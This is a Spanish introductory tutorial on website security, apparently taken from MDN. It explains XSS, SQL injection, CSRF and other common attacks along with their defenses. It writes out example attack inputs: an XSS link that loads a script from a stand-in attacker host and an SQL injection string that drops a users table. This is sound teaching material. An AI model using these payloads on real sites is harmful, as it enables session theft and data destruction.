**¿Qué es la seguridad de sitios web?**[**Sección**](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web#%C2%BFQu%C3%A9_es_la_seguridad_de_sitios_web)

¡Internet es un sitio peligroso! Con mucha frecuencia escuchamos sobre sitios web que dejan de estar disponibles debido a ataques de denegación de servicio, o presentan información modificada (y con frecuencia dañada) en sus páginas de inicio. En otros casos de alto nivel, millones de contraseñas, direcciones de correo electrónico y detalles de tarjetas de crédito han sido filtrados al dominio público, exponiendo a los usuarios del sitio web tanto a bochorno personal como a riesgo finaciero.

El propóisto de la seguridad web es prevenir ataques de esta (o de cualquier otra) clase. Mas formalmente, *la seguridad es la acción/práctica de proteger sitios web del acceso, uso, modificación, destrucción o interrupción, no autorizados*.

La seguridad de sitios web eficaz requiere de esfuerzos de diseño a lo largo de la totalidad del sitio web: en tu aplicación web, en la configuración del servidor web, en tus políticas para crear y renovar contraseñas, y en el código del lado cliente. Al mismo tiempo que todo esto suena muy inquietante, la buena noticia es que si estás usando un framework web de lado servidor, es casi seguro que habilitará por defecto mecanismos de defensa robustos y bien pensados contra gran cantidad de los ataques más comunes. Otros ataques pueden mitigarse por medio de la configuración de tu servidor web, por ejemplo habilitando HTTPS. Finalmente, hay herramientas de escaneado de vulnerabilidades disponibles públicamente que pueden ayudarte a averiguar si has cometido algún error obvio.

El resto de este artículo proporciona más detalle sobre unas pocas amenazas comunes y algunos de los pasos simples que puedes dar para proterger tu sitio.

**Nota**: Este es un tema de introducción, diseñado para aayudarte a pensar sobre la seguridad de sitios web. No pretende ser exhaustivo.

**Amenazas contra la seguridad de sitios web**[**Sección**](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web#Amenazas_contra_la_seguridad_de_sitios_web)

Esta sección lista sólo algunas pocas de las amenazas más comunes para los sitios web y cómo son mitigadas. A medida que vayas leyendo, fíjate cómo las amenazas tienen éxito cuando la aplicación web, ¡o confía o *no es lo suficientemente paranoica* acerca de los datos que vienen del explorador web!

Cross-Site Scripting (XSS)[Sección](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web#Cross-Site_Scripting_(XSS))

XSS es un término que se usa para describir una clase de ataques que permiten al atacante inyectar scripts de lado cliente, *a través*del sitio web, hasta los exploradores de otros usuarios. Como el código inyectado va del servidor del sitio al explorador, se supone de confianza, y de aquí que pueda hacer cosas como enviar al atacante la cookie de autorización al sitio del usuario. Una vez que el atacante tiene la cookie pueden iniciar sesión en el sitio como si fuera el verdadero usuario y hacer cualquier cosa que pueda hacer éste. Dependiendo de que sitio sea, esto podría incluir acceso a los detalles de su tarjeta de crédito, ver detalles de contactos o cambiar contraseñas, etc.

**Nota**: Las vulnerabilidades XSS han sido históricamente más comunes que las de cualquier otro tipo.

Hay dos aproximaciones principales para conseguir que el sitio devuelva scripts inyectados al explorador — se conocen como vulnerabilidades XSS *reflejadas* y *persistentes*.

* Una vulnerabilidad XSS *reflejada* ocurre cuando contenido del usuario que se pasa al servidor se devuelve *inmediatamente y sin modificar* par que los muestre el explorador — ¡cualquier script en el contenido original del usuario se ejecutará cuando se cargue una nueva página!  
  Por ejemplo, considera una función de búsqueda en un sitio donde los términos de búsqueda están codificados como parámetros URL y estos términos se presentan junto con los resultados. Un atacante puede construir un enlace de búsqueda que contenga un script malicioso como parámetro (ej. http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) y enviarlo como enlace en un correo electrónico a otro usuario: Si el destinatario pincha en este "enlace interesante", el script se ejecutará cuando se muestren en pantalla los resultados de la búsqueda. Como discutimos arriba, ésto da al atacante toda la información que necesita para entrar en el sitio como si fuera el usuario destinatario — realizando compras potencialmente como si fuera el usuario o compartiendo su información de contactos.
* Una vulnerabilidad *XSS persistente* es aquella en la que el script malicioso se *almacena*en el sitio web y luego más tarde se vuelve a presentar en pantalla sin modificar para que otros usuarios lo ejecuten involuntariamente. Por ejemplo, un foro de discusión que accepta comentarios que contengan HTML sin modificar, podría almacenar un script malicioso de un atacante. Cuando se muestren los comentarios se ejecutará el script y enviará al atacante la información requerida para acceder a la cuenta del usuario. Esta clase de ataque es extremadamente popular y muy potente, porque el atacante no tiene que tener ninguna relación directa con las víctimas.  
    
  Si bien los datos POST o GET son las fuentes más comunes de vulnerabilidades, cualquier dato del explorador es vulnerable potencialmente (incluyendo los datos de cookies renderizados por el explorador, o los ficheros de los usuarios que éste sube o que se muestran).

La mejor defensa contra las vulnerabilidades XSS es eliminar o deshabilitar cualquier etiqueta que pueda contener instrucciones para ejecutar código. En el caso del HTML ésto incluye etiquetas como <script>, <object>, <embed>, y <link>.

El proceso de modificar los datos del usuario de manera que no puedan utilizarse para ejecutar scripts o que afecten de otra forma la ejecución del código del servidor, se conoce como "desinfección de entrada" (input sanitization). Muchos frameworks web desinfectan automáticamente la entrada del usuario desde formularios HTML, por defecto.

Inyección SQL[Sección](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web#Inyecci%C3%B3n_SQL)

Las vulnerabilidades de Inyección SQL habilitan que usuarios maliciosos ejecuten código SQL arbitrario en una base de datos, permitiendo que se pueda acceder a los datos, se puedan modificar o borrar, independientemente de los permisos del usuario. Un ataque de inyección con éxito, podría falsificar identidades, crear nuevas identidades con derechos de administración, acceder a todos los datos en el servidor o destruir/modificar los datos para hacerlos inutilizables.

Esta vulnerabilidad está presente si la entrada del usuario que se pasa a la sentencia SQL subyacente puede cambiar el significado de la misma. Por ejemplo, considera el código de abajo, que pretende listar todos los usuarios con un nombre en particular (userName) que ha sido suministrado en un formulario HTML:

statement = "SELECT \* FROM users WHERE name = '" + **userName** + "';"

Si el usuario introduce su nombre real, la cosa funciona como se pretende. Sin embargo un usuario malicioso podría cambiar completamente el comportamiento de esta sentencia SQL a la nueva sentencia de abajo, simplemente especificando para userName el texto de abajo en "**negrilla**". La sentencia modificada crea una sentencia SQL válida que borra la tabla  users y selecciona todos los datos de la tabla userinfo  (revelando la información de todos los usuarios). Esto funciona por que la primera parte del texto inyectado (a';) completa la sentencia original (' es el símbolo para indicar una cadena literal en SQL).

SELECT \* FROM users WHERE name = '**a';DROP TABLE users; SELECT \* FROM userinfo WHERE 't' = 't**';

La manera de evitar esta clase de ataque es asegurar que cualquier dato de usuario que se pasa a un query SQL no puede cambiar la naturaleza del mismo. Una forma de hacer ésto es [eludir ('escape')](https://en.wikipedia.org/wiki/Escape_character) todos los caracteres en la entrada de usuario que tengan un significado especial en SQL.

**Nota**: La sentencia SQL trata el caracer ' como el principio y el final de una cadena de texto. Colocando el caracter barra invertida \ delante, "eludimos" el símbolo (\'), y le decimos a SQL que lo trate como un caracter de texto (como parte de la misma cadena).

En la sentencia de abajo eludimos el carácter '. SQL interpretará ahora como "nombre" la cadena de texto completa mostrada en negrilla (!un nombre muy raro desde luego, pero no dañino¡)

SELECT \* FROM users WHERE name = '**a\';DROP TABLE users; SELECT \* FROM userinfo WHERE \'t\' = \'t'**;

Los frameworks web con frecuencia tienen cuidado de hacer por tí la elusión de caracteres. Django, por ejemplo se asegura que cualquier dato de usuario que se pasa a los conjuntos de queries (modelo de queries) está corregido.

**Nota**: Esta sección se sustenta aquí en la información de [Wikipedia](https://en.wikipedia.org/wiki/SQL_injection).

Cross Site Request Forgery (CSRF)[Sección](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web" \l "Cross_Site_Request_Forgery_(CSRF))

Los ataques de CSRF permiten que un usuario malicioso ejecute acciones usando las credenciales de otro usuario sin el conocimiento o consentimiento de éste.

Este tipo de ataque se explica mejor con un ejemplo. John es un usuario malicioso que sabe que un sitio en particular permite a los usuarios que han iniciado sesión enviar dinero a una cuenta específica usando una petición HTTP POST que incluye el nombre de la cuenta y una cantidad de dinero. John construye un formulario que incluye los detalles de su banco y una cantidad de dinero como campos ocultos, y lo envía por correo electrónico a otros usuarios del sitio (con el botón de *Enviar* camuflado como enlace a un sitio "hazte rico rápidamente").

Si el usuario pincha el botón de enviar, se envía al servidor una petición HTTP POST que contiene los detalles de la transacción y *todos los cookies de lado-cliente que el explorador asocia con el sitio* (añadir cookies asociados con el sitio es un comportamiento normal de los exploradores). El servidor comprobará los cookies, y los usará para determinar si el usuario ha iniciado sesión o no y si tiene permiso para hacer la transacción.

El resultado es que cualquier usuario que pinche en el botón *Enviar* mientras tiene la sesión iniciada en el sitio comercial hará la transacción. ¡John se hará rico!

**Nota**: El truco aquí es que John no necesita tener acceso a los cookies del usuario (o acceso a sus credenciales) — El explorador del usuario almacena esta información, y la incluye automáticamente en todas las peticiones al servidor asociado.

Una manera de prevenir este tipo de ataque por parte del servidor es requerir que la petción POST incluya una palabra secreta específica del usuario generada por el sitio (la palabra secreta podría proporcionarla el servidor cuando envía el formulario web que se usa para hacer transferencias). Esta aproximación evita que John pueda crear su propio formulario, porque necesitaría conocer la palabra secreta que el servidor ha proporcionado para el usuario. Incluso si conociera esta palabra y creara un formulario para un usuario en particular, no podría usar el mismo formulario para atacar a todos los usuarios.

Los frameworks web incluyen con frecuencia tales mecanismos de prevención de CSRF.

Otras amenazas[Sección](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web#Otras_amenazas)

Otros ataques/vulnerabilidades incluyen:

* [Clickjacking](https://www.owasp.org/index.php/Clickjacking). En este tipo de ataque, el usuario malicioso secuestra las pulsaciones de ratón dirigidas a un sitio visible por encima de los demás y las redirige a una página escondida por debajo. Esta técnica se usaría, por ejemplo, para presentar un sitio bancario legítimo pero capturar las credenciales de inicio de sesión en un [<iframe>](https://developer.mozilla.org/es/docs/Web/HTML/Elemento/iframe)invisible controlado por el atacante. Alternativamente podría usarse para conseguir que el usuario pinchara sobre un botón en un sitio visible, pero al hacerlo realmente estuviera sin advertirlo pinchando en otro botón completamente diferente. Como defensa, tu sitio puede protegerse de ser embebido en un iframe de otro sitio configurando las cabeceras HTTP apropiadamente.
* [Denegación de Servicio, (Denial of Service](https://developer.mozilla.org/en-US/docs/Glossary/Distributed_Denial_of_Service), DoS). DoS se consigue normalmente inundando el sitio objetivo con peticiones espúreas de manera que se interrumpa el acceso a los usuarios legítimos. Las peticiones pueden simplemente ser numerosas, o consumir individualmente gran cantidad de recursos (ej. lecturas lentas, subidas de grandes ficheros, etc.) Las defensas contra DoS normalmente trabajan mediante la indentificación y el bloqueo de tráfico "malo" permitiendo sin embargo que atraviesen los mensajes legítimos. Estas defensas se encuentran típicamente dentro o antes del servidor (no son parte de la aplicación web misma).
* [Salto de Directorios](https://en.wikipedia.org/wiki/Directory_traversal_attack)/Revelación de Ficheros. En este tipo de ataque un usuario malicioso intenta acceder a partes del sistema de ficheros del servidor web a los que no debería tener acceso. Esta vulnerabilidad ocurre cuando el usuario es capaz de pasar nombres de fichero que incluyen caracteres del sistema de navegación (ej. ../../). La solución es desinfectar la entrada antes de usarla.
* [Inclusión de Ficheros](https://en.wikipedia.org/wiki/File_inclusion_vulnerability). En este ataque un usuario es capaz de especificar, para mostrar o ejecutar, un fichero "no intencionado para ello" en los datos que le pasa al servidor. Una vez ha sido cargado este fichero podría ejecutarse en el servidor web o en el lado cliente (llevando a un ataque XSS). La solución es desinfectar la entrada antes de usarla.
* [Inyección de Comandos](https://www.owasp.org/index.php/Command_Injection). Los ataques de inyección de comandos permiten a un usuario malicioso ejecutar comandos del sistema arbitrarios en el sistema operativo del host. La solución es desinfectar la entrada de usuario antes de que pueda ser usada en llamadas al sistema.

Hay muchas más. Para un lisado completo ver [Category:Web security exploits](https://en.wikipedia.org/wiki/Category:Web_security_exploits) (Wikipedia) y [Category:Attack](https://www.owasp.org/index.php/Category:Attack) (Open Web Application Security Project).

**Unos cuantos mensajes clave**[**Sección**](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web#Unos_cuantos_mensajes_clave)

Casi todos los exploits de las secciones anteriores tienen éxito cuando la aplicación web confía en los datos que vienen del explorador. Sea lo que sea que hagas para mejorar la seguridad de tu sitio web, deberías desinfectar todos los datos originados por el usuario antes de ser mostrados en el explorador, usados en queries SQL o pasados en una llamada al sistema operativo o fichero de sistema.

Importante: La lección más importante que debes aprender acerca de la seguridad de sitios web es **nunca confíes en los datos del explorador web**. Esto incluye los datos en parámetros URL de las peticionesGET, datos POST, cabeceras HTTP y cookies, ficheros subidos por los usuarios, etc. Comprueba siempre y desinfecta todos los datos entrantes. Siempre asume lo peor.

Otras cuantas medidas concretas que puedes tomar son:

* Usar una gestión de contraseñas más efectiva. Fomentar las contraseñas fuertes y que se cambien con regularidad. Considerar para tu sitio web la autenticación de dos factores, de manera que, además de la contraseña, el usuario tenga que introducir algún otro código de autenticación (normalmente alguno que se distribuye mediante algún hardware que sólo tiene el usuario, como un código en un mensaje de texto enviado a su teléfono móvil).
* Configurar tu servidor web para usar [HTTPS](https://developer.mozilla.org/en-US/docs/Glossary/https) y [HTTP Strict Transport Security](https://developer.mozilla.org/en-US/docs/Web/Security/HTTP_strict_transport_security) (HSTS). HTTPS encripta los datos enviados entre el cliente y el servidor. Esto asegura que las credenciales de incio de sesión, cookies, datos POST e información de cabecera permanecen menos disponibles a los atacantes.
* Seguir la pista a las amenazas más populares ([aquí puedes acceder a la lista actual OWASP](https://developer.mozilla.org/en-US/docs/)) y atacar las vulnerabilidades más comunes primero.
* Usar herramientas de [escanéo de vulnerabilidades](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) para realizar pruebas automáticas de seguridad en tu sitio (más adelante, si tu sitio web llega a ser super exitoso puedes también encontrar bugs por medio de ofrecer recompensas por encontrar bugs [como hace Mozilla aquí](https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/)).
* Almacena y muestra sólo los datos que necesiten serlo. Por ejemplo, si tus usuarios deben almacenar información sensible como los detalles de las tarjetas de crédito, sólo muestra lo suficiente del número de tarjeta de manera que pueda ser identificada por el usuario, y no suficiente para que pueda ser copiado por el atacante y usado en otro sitio. El patrón más común hoy en día es mostrar sólo los 4 últimos dígitos del número de la tarjeta de crédito.

Los frameworks web pueden ayudar a mitigar muchas de las vulnerabilidades más comunes.

**Sumario**[**Sección**](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web#Sumario)

Este artículo ha explicado el concepto de seguridad en sitios web y algunas de las amanazas más comunes contra las que tu sitio debería empezar a protegerse. Lo más importante que deberías entender es que ¡una aplicación web no puede confiar en ningún dato que provenga de explorador web! Todos los datos de usuario deberían ser desinfectados antes de ser mostrados, o usados en queries SQL o llamadas a ficheros de sistema.

Hemos llegado al final de [este módulo](https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos), tratando tus primeros pasos en la programación de lado servidor de un sitio web. Esperamos que hayas disfrutado del aprendizaje de los conceptos fundamentales y estés listo para seleccionar un framework web y empezar a programar.

REFERENCIA

ESTE ARTICULO ES SACDO DE LA PAGINA <https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web>